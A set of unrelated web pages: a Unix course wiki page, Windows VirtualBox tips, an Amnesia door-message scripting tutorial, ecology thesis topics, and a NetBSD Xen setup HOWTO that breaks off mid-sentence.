1. Pingback: dez mulheres incríveis de séries de tv para te inspirar #IWD – casacinza
Leave a Reply
WordPress.com Logo
Google photo
Twitter picture
Facebook photo
Connecting to %s |
global_01_local_0_shard_00002368_processed.jsonl/54035 | From CDOT Wiki
Revision as of 07:39, 4 September 2019 by Msaul (talk | contribs) (Course Resources)
Jump to: navigation, search
Quick Links
Weekly Schedule
Course Outline
Assignment 1
Assignment 2
Assignment 3
Welcome to ULI101 - Introduction to UNIX/Linux and the Internet
What This Course is About
Unix and Linux represent the operating system technology underlying many of the services of the Internet. This subject introduces students to Unix, Linux and the Internet. Students will learn the core utilities to work productively in a Linux environment. Students will do this work using the shell, at the same time learn to configure their login accounts, manipulate data stored in files, effectively use Linux commands and utilities, and write simple shell scripts.
Accessing Your Linux Computer Account
You will need a matrix computer account to do the ULI101 assignments. If you have never logged into matrix before, check your MySeneca email for confirmation that your matrix account was automatically created after you registered for ULI101. This should happen automatically if you are a new Seneca student and this is your first semester.
Logging in to matrix: After successfully logging into matrix from the college computers, there are several other ways you can login to matrix depending on your operating system of choice.
Please see the following guide for detailed instructions.
In case of problems with:
• logging into your matrix account
• matrix not finding your home directory and you cannot start the assignments
• any other matrix issue
Please [email protected] and specify the exact error message you received. It would help if you snap a picture of your screen or take a screen capture of your error message and attach to your email when you contact ServiceDesk through your MySeneca email.
Here is a link to the Learning Centre's workshop schedule
Course Faculty
During the Fall 2019 semester, OPS235 is taught by:
Course Resources
Bash shell.png
Applications for Remote Computer Account Access:
Secure Shell SSH/SFTP
Murray Saul
Wiki Participation
|
global_01_local_0_shard_00002368_processed.jsonl/54036 | Various Windows techniques using VirtualBox
From Elvanör's Technical Wiki
Jump to navigationJump to search
/etc/hosts equivalent
• The equivalent file is in C:\Windows\System32\Drivers\etc\hosts. You can have multiple hosts on a single line. However, if you want to test a host served by the Linux mother host OS, put your actual IP on a private network there (eg,, not as it would not work with VirtualBox network bridging.
Flushing the DNS cache
• This can be done with the following command-line command:
ipconfig /flushdns
Loading in fail safe mode
• On Windows 7, press F8 at boot.
Adding a new hard drive
• Once you added it via VirtualBox, you must format it in Windows. Right click on "My Computer", then choose Manage. You will then have access to the GUI application for creating a partition and formatting it on the new drive. |
global_01_local_0_shard_00002368_processed.jsonl/54037 | User Tools
Site Tools
Adding messages to a locked door
Hey, in this tutorial me, ClayPigeon, will teach you how to add a message to a locked door.
What does this means? That means that when a player tries to open a locked door, it will show a message on the screen telling him it's locked, or will give the player a hint on where the key is.
The message
First of all, open up your extra_english.lang file, and add this:
<CATEGORY Name=“Messages”>
<Entry Name =“msgname”>TYPE MESSAGE HERE</Entry>
msgname - The name that will be called via the script and present the message TYPE MESSAGE HERE.
TYPE MESSAGE HERE - The actual text that will be presented. It can be anything, for example: The door is locked, and the key is behind the cabinet.
The door
Open up your map with your level editor, and add a door wherever you want.
Select the door using the Select tool(1), and go to the Entity tab. (Next to general).
Tick the 'Locked' box to make the door locked, and on the PlayerInteractCallback write whatever name of function you want.
I'll call it DoorLockedPlayer.
If you want the message to show only once, tick the PlayerInteractCallbackAutoRemove box.
Under General tab, name the door to whatever you want.
I'll call it “EXAMPLE_DOOR”.
The script
Open up your mapname.hps that is on your AmnesiaFolder/redist/custom_stories/yourstory/maps, with notepad++ or whatever editor that fits for you, and now write this under the last '}' you see on the text:
void DoorLockedPlayer(string &in entity)
if(GetSwingDoorLocked("EXAMPLE_DOOR") == true)
SetMessage("Messages", "msgname", 0);
Now step by step:
void DoorLockedPlayer - this is the function that is called when the player interacts with the door (the one you've set in your level editor!)
GetSwingDoorLocked - We are checking wheter the doors is locked or not, so we won't get the message even when it's unlocked and interacted with. “EXAMPLE_DOOR” is the name of the door that we have given it earlier!
“Messages” - that is the <CATEGORY> name in your extra_english.lang file, DO NOT change this!
“msgname” - this is the name of the message we've set earlier, remember?
Now the message will display when the player is trying to open the door!
PM me for any help, my forum account: ClayPigeon.
hpl2/tutorials/script/adding_messages_to_locked_doors.txt · Last modified: 2014/07/04 11:21 by romulator |
global_01_local_0_shard_00002368_processed.jsonl/54038 | Project and Master Theses for Bob O'Hara
Contact info
Most of my work is with ecological data
• Modelling traits as point processes: Some ecologists are interested in how the distributions of traits change (e.g. do birds become bigger at higher altitudes). If the traits are continuous then we can model them as a point process in trait space (>2D), and use point process machinery to look at how the distributions vary. With good enough data, we can even look to see if species exclude each other, using models for repulsion between points to see if this happens. This project will develop and test these ideas.
• Efficient updating of biodiversity time series: Ecologists at the CEH in the UK have been using occupancy models to estimate trends in species' distributions. These use MCMC (see the Sparta package), so are computationally expensive to run. They would like to avoid running the models from scratch each year, so this project would develop methods based on importance sampling to update the models with each new year of data.
• Integrating Species Distribution Data: Recently ecologists have been developing methods to integrate different types of data into single models of the distributions of species. We need to test these methods on real data, to see how they perform in practice. We have several data sets available to try this on.
2020-01-03, Bob O'Hara |
global_01_local_0_shard_00002368_processed.jsonl/54039 | Introduction ============ [![[Xen screenshot]](]( Xen is a hypervisor (or virtual machine monitor) for x86 hardware (i686-class or higher), which supports running multiple guest operating systems on a single physical machine. Xen is a Type 1 or bare-metal hypervisor; one uses the Xen kernel to control the CPU, memory and console, a dom0 operating system which mediates access to other hardware (e.g., disks, network, USB), and one or more domU operating systems which operate in an unprivileged virtualized environment. IO requests from the domU systems are forwarded by the hypervisor (Xen) to the dom0 to be fulfilled. Xen supports two styles of guests. The original is Para-Virtualized (PV) which means that the guest OS does not attempt to access hardware directly, but instead makes hypercalls to the hypervisor. This is analogous to a user-space program making system calls. (The dom0 operating system uses PV calls for some functions, such as updating memory mapping page tables, but has direct hardware access for disk and network.) PV guests must be specifically coded for Xen. The more recent style is HVM, which means that the guest does not have code for Xen and need not be aware that it is running under Xen. Attempts to access hardware registers are trapped and emulated. This style is less efficient but can run unmodified guests. Generally any amd64 machine will work with Xen and PV guests. In theory i386 computers without amd64 support can be used for Xen <= 4.2, but we have no recent reports of this working (this is a hint). For HVM guests, the VT or VMX cpu feature (Intel) or SVM/HVM/VT (amd64) is needed; "cpuctl identify 0" will show this. TODO: Clean up and check the above features. At boot, the dom0 kernel is loaded as a module with Xen as the kernel. The dom0 can start one or more domUs. (Booting is explained in detail in the dom0 section.) NetBSD supports Xen in that it can serve as dom0, be used as a domU, and that Xen kernels and tools are available in pkgsrc. This HOWTO attempts to address both the case of running a NetBSD dom0 on hardware and running domUs under it (NetBSD and other), and also running NetBSD as a domU in a VPS. Some versions of Xen support "PCI passthrough", which means that specific PCI devices can be made available to a specific domU instead of the dom0. This can be useful to let a domU run X11, or access some network interface or other peripheral. NetBSD used to support Xen2; this has been removed. Prerequisites ------------- Installing NetBSD/Xen is not extremely difficult, but it is more complex than a normal installation of NetBSD. In general, this HOWTO is occasionally overly restrictive about how things must be done, guiding the reader to stay on the established path when there are no known good reasons to stray. This HOWTO presumes a basic familiarity with the Xen system architecture. This HOWTO presumes familiarity with installing NetBSD on i386/amd64 hardware and installing software from pkgsrc. See also the [Xen website]( Versions of Xen and NetBSD ========================== Most of the installation concepts and instructions are independent of Xen version and NetBSD version. This section gives advice on which version to choose. Versions not in pkgsrc and older unsupported versions of NetBSD are intentionally ignored. Xen --- In NetBSD, xen is provided in pkgsrc, via matching pairs of packages xenkernel and xentools. We will refer only to the kernel versions, but note that both packages must be installed together and must have matching versions. xenkernel3 and xenkernel33 provide Xen 3.1 and 3.3. These no longer receive security patches and should not be used. Xen 3.1 supports PCI passthrough. Xen 3.1 supports non-PAE on i386. xenkernel41 provides Xen 4.1. This is no longer maintained by Xen, but as of 2014-12 receives backported security patches. It is a reasonable although trailing-edge choice. xenkernel42 provides Xen 4.2. This is maintained by Xen, but old as of 2014-12. Ideally newer versions of Xen will be added to pkgsrc. Note that NetBSD support is called XEN3. It works with 3.1 through 4.2 because the hypercall interface has been stable. Xen command program ------------------- Early Xen used a program called "xm" to manipulate the system from the dom0. Starting in 4.1, a replacement program with similar behavior called "xl" is provided. In 4.2 and later, "xl" is preferred. 4.4 is the last version that has "xm". NetBSD ------ The netbsd-5, netbsd-6, netbsd-7, and -current branches are all reasonable choices, with more or less the same considerations for non-Xen use. Therefore, netbsd-6 is recommended as the stable version of the most recent release for production use. For those wanting to learn Xen or without production stability concerns, netbsd-7 is likely most appropriate. As of NetBSD 6, a NetBSD domU will support multiple vcpus. There is no SMP support for NetBSD as dom0. (The dom0 itself doesn't really need SMP; the lack of support is really a problem when using a dom0 as a normal computer.) Architecture ------------ Xen itself can run on i386 or amd64 machines. (Practically, almost any computer where one would want to run Xen supports amd64.) If using an i386 NetBSD kernel for the dom0, PAE is required (PAE versions are built by default). While i386 dom0 works fine, amd64 is recommended as more normal. Xen 4.2 is the last version to support i386 as a host. TODO: Clarify if this is about the CPU having to be amd64, or about the dom0 kernel having to be amd64. One can then run i386 domUs and amd64 domUs, in any combination. If running an i386 NetBSD kernel as a domU, the PAE version is required. (Note that emacs (at least) fails if run on i386 with PAE when built without, and vice versa, presumably due to bugs in the undump code.) Recommendation -------------- Therefore, this HOWTO recommends running xenkernel42 (and xentools42), xl, the NetBSD 6 stable branch, and to use an amd64 kernel as the dom0. Either the i386 or amd64 of NetBSD may be used as domUs. Build problems -------------- Ideally, all versions of Xen in pkgsrc would build on all versions of NetBSD on both i386 and amd64. However, that isn't the case. Besides aging code and aging compilers, qemu (included in xentools for HVM support) is difficult to build. The following are known to work or FAIL: xenkernel3 netbsd-5 amd64 xentools3 netbsd-5 amd64 xentools3=hvm netbsd-5 amd64 ???? xenkernel33 netbsd-5 amd64 xentools33 netbsd-5 amd64 xenkernel41 netbsd-5 amd64 xentools41 netbsd-5 amd64 xenkernel42 netbsd-5 amd64 xentools42 netbsd-5 amd64 xenkernel3 netbsd-6 i386 FAIL xentools3 netbsd-6 i386 xentools3-hvm netbsd-6 i386 FAIL (dependencies fail) xenkernel33 netbsd-6 i386 xentools33 netbsd-6 i386 xenkernel41 netbsd-6 i386 xentools41 netbsd-6 i386 xenkernel42 netbsd-6 i386 xentools42 netbsd-6 i386 *MIXED (all 3 and 33 seem to FAIL) xenkernel41 netbsd-7 i386 xentools41 netbsd-7 i386 xenkernel42 netbsd-7 i386 xentools42 netbsd-7 i386 ??FAIL (*On netbsd-6 i386, there is a xentools42 in the 2014Q3 official builds, but it does not build for gdt.) NetBSD as a dom0 ================ NetBSD can be used as a dom0 and works very well. The following sections address installation, updating NetBSD, and updating Xen. Note that it doesn't make sense to talk about installing a dom0 OS without also installing Xen itself. We first address installing NetBSD, which is not yet a dom0, and then adding Xen, pivoting the NetBSD install to a dom0 install by just changing the kernel and boot configuration. For experimenting with Xen, a machine with as little as 1G of RAM and 100G of disk can work. For running many domUs in productions, far more will be needed. Styles of dom0 operation ------------------------ There are two basic ways to use Xen. The traditional method is for the dom0 to do absolutely nothing other than providing support to some number of domUs. Such a system was probably installed for the sole purpose of hosting domUs, and sits in a server room on a UPS. The other way is to put Xen under a normal-usage computer, so that the dom0 is what the computer would have been without Xen, perhaps a desktop or laptop. Then, one can run domUs at will. Purists will deride this as less secure than the previous approach, and for a computer whose purpose is to run domUs, they are right. But Xen and a dom0 (without domUs) is not meaingfully less secure than the same things running without Xen. One can boot Xen or boot regular NetBSD alternately with little problems, simply refraining from starting the Xen daemons when not running Xen. Note that NetBSD as dom0 does not support multiple CPUs. This will limit the performance of the Xen/dom0 workstation approach. In theory the only issue is that the "backend drivers" are not yet MPSAFE: Installation of NetBSD ---------------------- First, [install NetBSD/amd64](/guide/inst/) just as you would if you were not using Xen. However, the partitioning approach is very important. If you want to use RAIDframe for the dom0, there are no special issues for Xen. Typically one provides RAID storage for the dom0, and the domU systems are unaware of RAID. The 2nd-stage loader bootxx_* skips over a RAID1 header to find /boot from a filesystem within a RAID partition; this is no different when booting Xen. There are 4 styles of providing backing storage for the virtual disks used by domUs: raw partitions, LVM, file-backed vnd(4), and SAN, With raw partitions, one has a disklabel (or gpt) partition sized for each virtual disk to be used by the domU. (If you are able to predict how domU usage will evolve, please add an explanation to the HOWTO. Seriously, needs tend to change over time.) One can use [lvm(8)](/guide/lvm/) to create logical devices to use for domU disks. This is almost as efficient as raw disk partitions and more flexible. Hence raw disk partitions should typically not be used. One can use files in the dom0 filesystem, typically created by dd'ing /dev/zero to create a specific size. This is somewhat less efficient, but very convenient, as one can cp the files for backup, or move them between dom0 hosts. Finally, in theory one can place the files backing the domU disks in a SAN. (This is an invitation for someone who has done this to add a HOWTO page.) Installation of Xen ------------------- In the dom0, install sysutils/xenkernel42 and sysutils/xentools42 from pkgsrc (or another matching pair). See [the pkgsrc documentation]( for help with pkgsrc. For Xen 3.1, support for HVM guests is in sysutils/xentool3-hvm. More recent versions have HVM support integrated in the main xentools package. It is entirely reasonable to run only PV guests. Next you need to install the selected Xen kernel itself, which is installed by pkgsrc as "/usr/pkg/xen*-kernel/xen.gz". Copy it to /. For debugging, one may copy xen-debug.gz; this is conceptually similar to DIAGNOSTIC and DEBUG in NetBSD. xen-debug.gz is basically only useful with a serial console. Then, place a NetBSD XEN3_DOM0 kernel in /, copied from releasedir/amd64/binary/kernel/netbsd-XEN3_DOM0.gz of a NetBSD build. Both xen and NetBSD may be left compressed. (If using i386, use releasedir/i386/binary/kernel/netbsd-XEN3PAE_DOM0.gz.) With Xen as the kernel, you must provide a dom0 NetBSD kernel to be used as a module; place this in /. Suitable kernels are provided in releasedir/binary/kernel: i386 XEN3_DOM0 i386 XEN3PAE_DOM0 amd64 XEN3_DOM0 The first one is only for use with Xen 3.1 and i386-mode Xen (and you should not do this). Current Xen always uses PAE on i386, but you should generally use amd64 for the dom0. In a dom0 kernel, kernfs is mandatory for xend to comunicate with the kernel, so ensure that /kern is in fstab. TODO: Say this is default, or file a PR and give a reference. Because you already installed NetBSD, you have a working boot setup with an MBR bootblock, either bootxx_ffsv1 or bootxx_ffsv2 at the beginning of your root filesystem, /boot present, and likely /boot.cfg. (If not, fix before continuing!) See boot.cfg(5) for an example. The basic line is menu=Xen:load /netbsd-XEN3_DOM0.gz console=pc;multiboot /xen.gz dom0_mem=256M which specifies that the dom0 should have 256M, leaving the rest to be allocated for domUs. In an attempt to add performance, one can also add dom0_max_vcpus=1 dom0_vcpus_pin to force only one vcpu to be provided (since NetBSD dom0 can't use more) and to pin that vcpu to a physical cpu. TODO: benchmark this. As with non-Xen systems, you should have a line to boot /netbsd (a kernel that works without Xen) and fallback versions of the non-Xen kernel, Xen, and the dom0 kernel. Using grub (historic) --------------------- Before NetBSD's native bootloader could support Xen, the use of grub was recommended. If necessary, see the [old grub information](/ports/xen/howto-grub/). The [HowTo on Installing into RAID-1]( explains how to set up booting a dom0 with Xen using grub with NetBSD's RAIDframe. (This is obsolete with the use of NetBSD's native boot.) Configuring Xen --------------- Xen logs will be in /var/log/xen. Now, you have a system that will boot Xen and the dom0 kernel, and just run the dom0 kernel. There will be no domUs, and none can be started because you still have to configure the dom0 tools. The daemons which should be run vary with Xen version and with whether one is using xm or xl. Note that xend is for supporting "xm", and should only be used if you plan on using "xm". Do NOT enable xend if you plan on using "xl" as it will cause problems. The installation of NetBSD should already have created devices for xen (xencons, xenevt), but if they are not present, create them: cd /dev && sh MAKEDEV xen TODO: Give 3.1 advice (or remove it from pkgsrc). For 3.3 (and thus xm), add to rc.conf (but note that you should have installed 4.1 or 4.2): xend=YES xenbackendd=YES For 4.1 (and thus xm; xl is believed not to work well), add to rc.conf: xencommons=YES xend=YES (If you are using xentools41 from before 2014-12-26, change rc.d/xendomains to use xm rather than xl.) For 4.2 with xm, add to rc.conf xencommons=YES xend=YES For 4.2 with xl (preferred), add to rc.conf: xencommons=YES TODO: explain if there is a xend replacement TODO: Recommend for/against xen-watchdog. After you have configured the daemons and either started them (in the order given) or rebooted, run the following (or use xl) to inspect Xen's boot messages, available resources, and running domains: # xm dmesg [xen's boot info] # xm info [available memory, etc.] # xm list Name Id Mem(MB) CPU State Time(s) Console Domain-0 0 64 0 r---- 58.1 anita (for testing NetBSD) -------------------------- With the setup so far, one should be able to run anita (see pkgsrc/sysutils/py-anita) to test NetBSD releases, by doing (as root, because anita must create a domU): anita --vmm=xm test file:///usr/obj/i386/ Alternatively, one can use --vmm=xl to use xl-based domU creation instead. TODO: check this. Xen-specific NetBSD issues -------------------------- There are (at least) two additional things different about NetBSD as a dom0 kernel compared to hardware. One is that modules are not usable in DOM0 kernels, so one must compile in what's needed. It's not really that modules cannot work, but that modules must be built for XEN3_DOM0 because some of the defines change and the normal module builds don't do this. Basically, enabling Xen changes the kernel ABI, and the module build system doesn't cope with this. The other difference is that XEN3_DOM0 does not have exactly the same options as GENERIC. While it is debatable whether or not this is a bug, users should be aware of this and can simply add missing config items if desired. Updating NetBSD in a dom0 ------------------------- This is just like updating NetBSD on bare hardware, assuming the new version supports the version of Xen you are running. Generally, one replaces the kernel and reboots, and then overlays userland binaries and adjusts /etc. Note that one must update both the non-Xen kernel typically used for rescue purposes and the DOM0 kernel used with Xen. Converting from grub to /boot ----------------------------- These instructions were [TODO: will be] used to convert a system from grub to /boot. The system was originally installed in February of 2006 with a RAID1 setup and grub to boot Xen 2, and has been updated over time. Before these commands, it was running NetBSD 6 i386, Xen 4.1 and grub, much like the message linked earlier in the grub section. # Install mbr bootblocks on both disks. fdisk -i /dev/rwd0d fdisk -i /dev/rwd1d # Install NetBSD primary boot loader (/ is FFSv1) into RAID1 components. installboot -v /dev/rwd0d /usr/mdec/bootxx_ffsv1 installboot -v /dev/rwd1d /usr/mdec/bootxx_ffsv1 # Install secondary boot loader cp -p /usr/mdec/boot / # Create boog.cfg following earlier guidance: menu=Xen:load /netbsd-XEN3PAE_DOM0.gz console=pc;multiboot /xen.gz dom0_mem=256M menu=Xen.ok:load /netbsd-XEN3PAE_DOM0.ok.gz console=pc;multiboot /xen.ok.gz dom0_mem=256M menu=GENERIC:boot menu=GENERIC single-user:boot -s menu=GENERIC.ok:boot netbsd.ok menu=GENERIC.ok single-user:boot netbsd.ok -s menu=Drop to boot prompt:prompt default=1 timeout=30 TODO: actually do this and fix it if necessary. Updating Xen versions --------------------- Updating Xen is conceptually not difficult, but can run into all the issues found when installing Xen. Assuming migration from 4.1 to 4.2, remove the xenkernel41 and xentools41 packages and install the xenkernel42 and xentools42 packages. Copy the 4.2 xen.gz to /. Ensure that the contents of /etc/rc.d/xen* are correct. Enable the correct set of daemons. Ensure that the domU config files are valid for the new version. Unprivileged domains (domU) =========================== This section describes general concepts about domUs. It does not address specific domU operating systems or how to install them. The config files for domUs are typically in /usr/pkg/etc/xen, and are typically named so that the file name, domU name and the domU's host name match. The domU is provided with cpu and memory by Xen, configured by the dom0. The domU is provided with disk and network by the dom0, mediated by Xen, and configured in the dom0. Entropy in domUs can be an issue; physical disks and network are on the dom0. NetBSD's /dev/random system works, but is often challenged. Config files ------------ There is no good order to present config files and the concepts surrounding what is being configured. We first show an example config file, and then in the various sections give details. See (at least in xentools41) /usr/pkg/share/examples/xen/xmexample*, for a large number of well-commented examples, mostly for running GNU/Linux. The following is an example minimal domain configuration file "/usr/pkg/etc/xen/foo". It is (with only a name change) an actual known working config file on Xen 4.1 (NetBSD 5 amd64 dom0 and NetBSD 5 i386 domU). The domU serves as a network file server. # -*- mode: python; -*- kernel = "/netbsd-XEN3PAE_DOMU-i386-foo.gz" memory = 1024 vif = [ 'mac=aa:00:00:d1:00:09,bridge=bridge0' ] disk = [ 'file:/n0/xen/foo-wd0,0x0,w', 'file:/n0/xen/foo-wd1,0x1,w' ] The domain will have the same name as the file. The kernel has the host/domU name in it, so that on the dom0 one can update the various domUs independently. The vif line causes an interface to be provided, with a specific mac address (do not reuse MAC addresses!), in bridge mode. Two disks are provided, and they are both writable; the bits are stored in files and Xen attaches them to a vnd(4) device in the dom0 on domain creation. The system treates xbd0 as the boot device without needing explicit configuration. By default xm looks for domain config files in /usr/pkg/etc/xen. Note that "xm create" takes the name of a config file, while other commands take the name of a domain. To create the domain, connect to the console, create the domain while attaching the console, shutdown the domain, and see if it has finished stopping, do (or xl with Xen >= 4.2): xm create foo xm console foo xm create -c foo xm shutdown foo xm list Typing ^] will exit the console session. Shutting down a domain is equivalent to pushing the power button; a NetBSD domU will receive a power-press event and do a clean shutdown. Shutting down the dom0 will trigger controlled shutdowns of all configured domUs. domU kernels ------------ On a physical computer, the BIOS reads sector 0, and a chain of boot loaders finds and loads a kernel. Normally this comes from the root filesystem. With Xen domUs, the process is totally different. The normal path is for the domU kernel to be a file in the dom0's filesystem. At the request of the dom0, Xen loads that kernel into a new domU instance and starts execution. While domU kernels can be anyplace, reasonable places to store domU kernels on the dom0 are in / (so they are near the dom0 kernel), in /usr/pkg/etc/xen (near the config files), or in /u0/xen (where the vdisks are). Note that loading the domU kernel from the dom0 implies that boot blocks, /boot, /boot.cfg, and so on are all ignored in the domU. See the VPS section near the end for discussion of alternate ways to obtain domU kernels. CPU and memory -------------- A domain is provided with some number of vcpus, less than the number of cpus seen by the hypervisor. (For a dom0, this is controlled by the boot argument "dom0_max_vcpus=1".) For a domU, it is controlled from the config file by the "vcpus = N" directive. A domain is provided with memory; this is controlled in the config file by "memory = N" (in megabytes). In the straightforward case, the sum of the the memory allocated to the dom0 and all domUs must be less than the available memory. Xen also provides a "balloon" driver, which can be used to let domains use more memory temporarily. TODO: Explain better, and explain how well it works with NetBSD. Virtual disks ------------- With the file/vnd style, typically one creates a directory, e.g. /u0/xen, on a disk large enough to hold virtual disks for all domUs. Then, for each domU disk, one writes zeros to a file that then serves to hold the virtual disk's bits; a suggested name is foo-xbd0 for the first virtual disk for the domU called foo. Writing zeros to the file serves two purposes. One is that preallocating the contents improves performance. The other is that vnd on sparse files has failed to work. TODO: give working/notworking NetBSD versions for sparse vnd. Note that the use of file/vnd for Xen is not really different than creating a file-backed virtual disk for some other purpose, except that xentools handles the vnconfig commands. To create an empty 4G virtual disk, simply do dd if=/dev/zero of=foo-xbd0 bs=1m count=4096 With the lvm style, one creates logical devices. They are then used similarly to vnds. TODO: Add an example with lvm. In domU config files, the disks are defined as a sequence of 3-tuples. The first element is "method:/path/to/disk". Common methods are "file:" for file-backed vnd. and "phy:" for something that is already a (TODO: character or block) device. The second element is an artifact of how virtual disks are passed to Linux, and a source of confusion with NetBSD Xen usage. Linux domUs are given a device name to associate with the disk, and values like "hda1" or "sda1" are common. In a NetBSD domU, the first disk appears as xbd0, the second as xbd1, and so on. However, xm/xl demand a second argument. The name given is converted to a major/minor by calling stat(2) on the name in /dev and this is passed to the domU. In the general case, the dom0 and domU can be different operating systems, and it is an unwarranted assumption that they have consistent numbering in /dev, or even that the dom0 OS has a /dev. With NetBSD as both dom0 and domU, using values of 0x0 for the first disk and 0x1 for the second works fine and avoids this issue. For a GNU/Linux guest, one can create /dev/hda1 in /dev, or to pass 0x301 for /dev/hda1. The third element is "w" for writable disks, and "r" for read-only disks. Virtual Networking ------------------ Xen provides virtual ethernets, each of which connects the dom0 and a domU. For each virtual network, there is an interface "xvifN.M" in the dom0, and in domU index N, a matching interface xennetM (NetBSD name). The interfaces behave as if there is an Ethernet with two adaptors connected. From this primitive, one can construct various configurations. We focus on two common and useful cases for which there are existing scripts: bridging and NAT. With bridging (in the example above), the domU perceives itself to be on the same network as the dom0. For server virtualization, this is usually best. Bridging is accomplished by creating a bridge(4) device and adding the dom0's physical interface and the various xvifN.0 interfaces to the bridge. One specifies "bridge=bridge0" in the domU config file. The bridge must be set up already in the dom0; an example /etc/ifconfig.bridge0 is: create up !brconfig bridge0 add wm0 With NAT, the domU perceives itself to be behind a NAT running on the dom0. This is often appropriate when running Xen on a workstation. TODO: NAT appears to be configured by "vif = [ '' ]". The MAC address specified is the one used for the interface in the new domain. The interface in dom0 will use this address XOR'd with 00:00:00:01:00:00. Random MAC addresses are assigned if not given. Sizing domains -------------- Modern x86 hardware has vast amounts of resources. However, many virtual servers can function just fine on far less. A system with 256M of RAM and a 4G disk can be a reasonable choice. Note that it is far easier to adjust virtual resources than physical ones. For memory, it's just a config file edit and a reboot. For disk, one can create a new file and vnconfig it (or lvm), and then dump/restore, just like updating physical disks, but without having to be there and without those pesky connectors. Starting domains automatically ------------------------------ To start domains foo at bar at boot and shut them down cleanly on dom0 shutdown, in rc.conf add: xendomains="foo bar" TODO: Explain why 4.1 rc.d/xendomains has xl, when one should use xm on 4.1. Or fix the xentools41 package to have xm Creating specific unprivileged domains (domU) ============================================= Creating domUs is almost entirely independent of operating system. We have already presented the basics of config files. Note that you must have already completed the dom0 setup so that "xl list" (or "xm list") works. Creating an unprivileged NetBSD domain (domU) --------------------------------------------- See the earlier config file, and adjust memory. Decide on how much storage you will provide, and prepare it (file or lvm). While the kernel will be obtained from the dom0 filesystem, the same file should be present in the domU as /netbsd so that tools like savecore(8) can work. (This is helpful but not necessary.) The kernel must be specifically for Xen and for use as a domU. The i386 and amd64 provide the following kernels: i386 XEN3_DOMU i386 XEN3PAE_DOMU amd64 XEN3_DOMU Unless using Xen 3.1 (and you shouldn't) with i386-mode Xen, you must use the PAE version of the i386 kernel. This will boot NetBSD, but this is not that useful if the disk is empty. One approach is to unpack sets onto the disk outside of xen (by mounting it, just as you would prepare a physical disk for a system you can't run the installer on). A second approach is to run an INSTALL kernel, which has a miniroot and can load sets from the network. To do this, copy the INSTALL kernel to / and change the kernel line in the config file to: kernel = "/home/bouyer/netbsd-INSTALL_XEN3_DOMU" Then, start the domain as "xl create -c configname". Alternatively, if you want to install NetBSD/Xen with a CDROM image, the following line should be used in the config file. disk = [ 'phy:/dev/wd0e,0x1,w', 'phy:/dev/cd0a,0x2,r' ] After booting the domain, the option to install via CDROM may be selected. The CDROM device should be changed to `xbd1d`. Once done installing, "halt -p" the new domain (don't reboot or halt, it would reload the INSTALL_XEN3_DOMU kernel even if you changed the config file), switch the config file back to the XEN3_DOMU kernel, and start the new domain again. Now it should be able to use "root on xbd0a" and you should have a, functional NetBSD domU. TODO: check if this is still accurate. When the new domain is booting you'll see some warnings about *wscons* and the pseudo-terminals. These can be fixed by editing the files `/etc/ttys` and `/etc/wscons.conf`. You must disable all terminals in `/etc/ttys`, except *console*, like this: console "/usr/libexec/getty Pc" vt100 on secure ttyE0 "/usr/libexec/getty Pc" vt220 off secure ttyE1 "/usr/libexec/getty Pc" vt220 off secure ttyE2 "/usr/libexec/getty Pc" vt220 off secure ttyE3 "/usr/libexec/getty Pc" vt220 off secure Finally, all screens must be commented out from `/etc/wscons.conf`. It is also desirable to add powerd=YES in rc.conf. This way, the domain will be properly shut down if `xm shutdown -R` or `xm shutdown -H` is used on the dom0. Your domain should be now ready to work, enjoy. Creating an unprivileged Linux domain (domU) -------------------------------------------- Creating unprivileged Linux domains isn't much different from unprivileged NetBSD domains, but there are some details to know. First, the second parameter passed to the disk declaration (the '0x1' in the example below) disk = [ 'phy:/dev/wd0e,0x1,w' ] does matter to Linux. It wants a Linux device number here (e.g. 0x300 for hda). Linux builds device numbers as: (major \<\< 8 + minor). So, hda1 which has major 3 and minor 1 on a Linux system will have device number 0x301. Alternatively, devices names can be used (hda, hdb, ...) as xentools has a table to map these names to devices numbers. To export a partition to a Linux guest we can use: disk = [ 'phy:/dev/wd0e,0x300,w' ] root = "/dev/hda1 ro" and it will appear as /dev/hda on the Linux system, and be used as root partition. To install the Linux system on the partition to be exported to the guest domain, the following method can be used: install sysutils/e2fsprogs from pkgsrc. Use mke2fs to format the partition that will be the root partition of your Linux domain, and mount it. Then copy the files from a working Linux system, make adjustments in `/etc` (fstab, network config). It should also be possible to extract binary packages such as .rpm or .deb directly to the mounted partition using the appropriate tool, possibly running under NetBSD's Linux emulation. Once the filesystem has been populated, umount it. If desirable, the filesystem can be converted to ext3 using tune2fs -j. It should now be possible to boot the Linux guest domain, using one of the vmlinuz-\*-xenU kernels available in the Xen binary distribution. To get the linux console right, you need to add: extra = "xencons=tty1" to your configuration since not all linux distributions auto-attach a tty to the xen console. Creating an unprivileged Solaris domain (domU) ---------------------------------------------- See possibly outdated [Solaris domU instructions](/ports/xen/howto-solaris/). PCI passthrough: Using PCI devices in guest domains --------------------------------------------------- The dom0 can give other domains access to selected PCI devices. This can allow, for example, a non-privileged domain to have access to a physical network interface or disk controller. However, keep in mind that giving a domain access to a PCI device most likely will give the domain read/write access to the whole physical memory, as PCs don't have an IOMMU to restrict memory access to DMA-capable device. Also, it's not possible to export ISA devices to non-dom0 domains, which means that the primary VGA adapter can't be exported. A guest domain trying to access the VGA registers will panic. If the dom0 is NetBSD, it has to be running Xen 3.1, as support has not been ported to later versions at this time. For a PCI device to be exported to a domU, is has to be attached to the "pciback" driver in dom0. Devices passed to the dom0 via the pciback.hide boot parameter will attach to "pciback" instead of the usual driver. The list of devices is specified as "(bus:dev.func)", where bus and dev are 2-digit hexadecimal numbers, and func a single-digit number: pciback.hide=(00:0a.0)(00:06.0) pciback devices should show up in the dom0's boot messages, and the devices should be listed in the `/kern/xen/pci` directory. PCI devices to be exported to a domU are listed in the "pci" array of the domU's config file, with the format "0000:bus:dev.func". pci = [ '0000:00:06.0', '0000:00:0a.0' ] In the domU an "xpci" device will show up, to which one or more pci busses will attach. Then the PCI drivers will attach to PCI busses as usual. Note that the default NetBSD DOMU kernels do not have "xpci" or any PCI drivers built in by default; you have to build your own kernel to use PCI devices in a domU. Here's a kernel config example; note that only the "xpci" lines are unusual. include "arch/i386/conf/XEN3_DOMU" # Add support for PCI busses to the XEN3_DOMU kernel xpci* at xenbus ? pci* at xpci ? # PCI USB controllers uhci* at pci? dev ? function ? # Universal Host Controller (Intel) # USB bus support usb* at uhci? # USB Hubs uhub* at usb? uhub* at uhub? port ? configuration ? interface ? # USB Mass Storage umass* at uhub? port ? configuration ? interface ? wd* at umass? # SCSI controllers ahc* at pci? dev ? function ? # Adaptec [23]94x, aic78x0 SCSI # SCSI bus support (for both ahc and 